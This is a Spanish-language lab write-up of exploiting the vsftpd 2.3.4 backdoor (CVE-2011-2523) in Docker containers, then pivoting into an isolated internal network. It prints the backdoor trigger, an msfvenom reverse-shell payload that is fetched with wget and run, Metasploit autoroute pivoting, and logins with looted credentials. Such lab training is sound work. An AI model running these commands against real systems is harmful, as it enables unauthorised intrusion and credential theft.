Lab 1 — vsftpd 2.3.4 Backdoor + Pivoting
Estos laboratorios están montados en contenedores Docker configurados para ello.
Explotamos una vulnerabilidad presente en vsftpd versión 2.3.4(CVE-2011-2523), entablamos una shell a una sesión Meterpreter mediante msfvenom, y pivoting hacia una red interna completamente aislada usando el módulo autoroute de Metasploit.
Topología del laboratorio
Reconocimiento — Host Discovery
Comenzamos con un escaneo de la red externa para descubrir hosts activos.
nmap -sn 172.20.10.0/24
Realizamos un escaneo completo de puertos y servicios sobre dicho host:
nmap -sV -sC -p- 172.20.10.10 -T4
21/tcp → vsftpd 2.3.4
22/tcp → OpenSSH
6200/tcp → shell abierta (backdoor activo)
El puerto 6200 es bastante raro. Nmap identificó que al enviarle cualquier input respondía con un prompt root@pivot-machine:/#, revelando que era una shell en espera de comandos — es el funcionamiento del backdoor vsftpd CVE-2011-2523 que se activa al enviar :) en el campo USER del protocolo FTP. Esto nos da una pista clara de que el servicio vsftpd 2.3.4 está presente y es vulnerable, lo que nos llevará a la explotación en la siguiente fase.
Explotación — CVE-2011-2523
La vulnerabilidad reside en que vsftpd 2.3.4 fue distribuido con código malicioso insertado en su fuente. Cuando el campo USER contiene la cadena :), el daemon abre una bind shell en el puerto 6200 sin autenticación.
# Esto sería la secuencia de comandos que activa el backdoor manualmente:
nc 172.20.10.10 21
USER cualquiercosa:) # trigger del backdoor
PASS loquesea
# En otra terminal, conectar a la shell:
nc 172.20.10.10 6200
# root@pivot-machine:/#
Upgrade a Meterpreter
Una shell básica no no nos deja usar autoroute(podríamo hacerlo con ssh, pero vamos a usar metasploit por recordarlo un poco). Generamos un payload con msfvenom y lo ejecutamos desde el pivot.
# Generar payload en Kali:
msfvenom -p linux/x86/meterpreter/reverse_tcp \
LHOST=172.20.10.1 LPORT=4444 -f elf -o /tmp/shell.elf
# Levantar listener en msfconsole:
use multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 172.20.10.1
set LPORT 4444
run
# Servir el payload con Python:
python3 -m http.server 8080
# Desde la shell nc del pivot:
cd /tmp
wget http://172.20.10.1:8080/shell.elf
chmod +x shell.elf
./shell.elf
Post-explotación del Pivot — Loot
Antes de pivotar, revisamos el sistema comprometido en busca de información útil.
shell
cat /var/ftp/notes.txt
ip addr
ip route
IP interna target: 172.20.20.10
SSH: msfadmin / msfadmin
Web: http://172.20.20.10:8080
Interfaz interna del pivot: 172.20.20.2
Pivoting con Autoroute
Con Meterpreter activo en el pivot, añadimos una ruta hacia la red interna para que todo el tráfico de Metasploit se enrute automáticamente a través de la sesión comprometida.
# En la sesión Meterpreter:
run autoroute -s 172.20.20.0/24
run autoroute -p # verificar ruta activa
background
# Escanear la red interna a través del pivot:
use auxiliary/scanner/portscan/tcp
set RHOSTS 172.20.20.0/24
set PORTS 22,80,8080
set THREADS 1
run
Acceso al Target y Flag
Usamos las credenciales encontradas en el loot para acceder al target interno via SSH a través del pivot.
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 172.20.20.10
set USERNAME msfadmin
set PASSWORD msfadmin
run
sessions -i 2
Dentro del target, buscamos la ruta al flag escalando privilegios con las credenciales encontradas en el servidor web interno (puerto 8080).
# Desde el target, acceder al web interno:
wget http://localhost:8080/admin/credentials.txt
cat credentials.txt
# root:Sup3rS3cr3t!
su - root
cat /root/flag.txt
FLAG{p1v0t1ng_m4st3r_eJPT_r3ady!}
Conclusiones y aprendizajes
- El CVE-2011-2523 es un backdoor real que fue distribuido en vsftpd 2.3.4 durante un compromiso de la cadena de suministro del software. Su mecanismo es trivial pero muy efectivo.
- El puerto 6200 ya estaba abierto antes de lanzar el exploit de Metasploit porque el backdoor se activa simplemente al enviar
:)en el campo USER. Metasploit solo automatiza esa conexión. - Para hacer pivoting con autoroute es imprescindible tener una sesión Meterpreter — una shell básica (nc, bash) no es suficiente.
- El LHOST siempre debe ser la IP de Kali en la red donde el target puede alcanzarnos, no la IP del pivot.
- Enumerar archivos en el sistema comprometido antes de pivotar puede revelar credenciales y topología de la red siguiente, ahorrando tiempo en el escaneo.
Volver a CTF & Labs.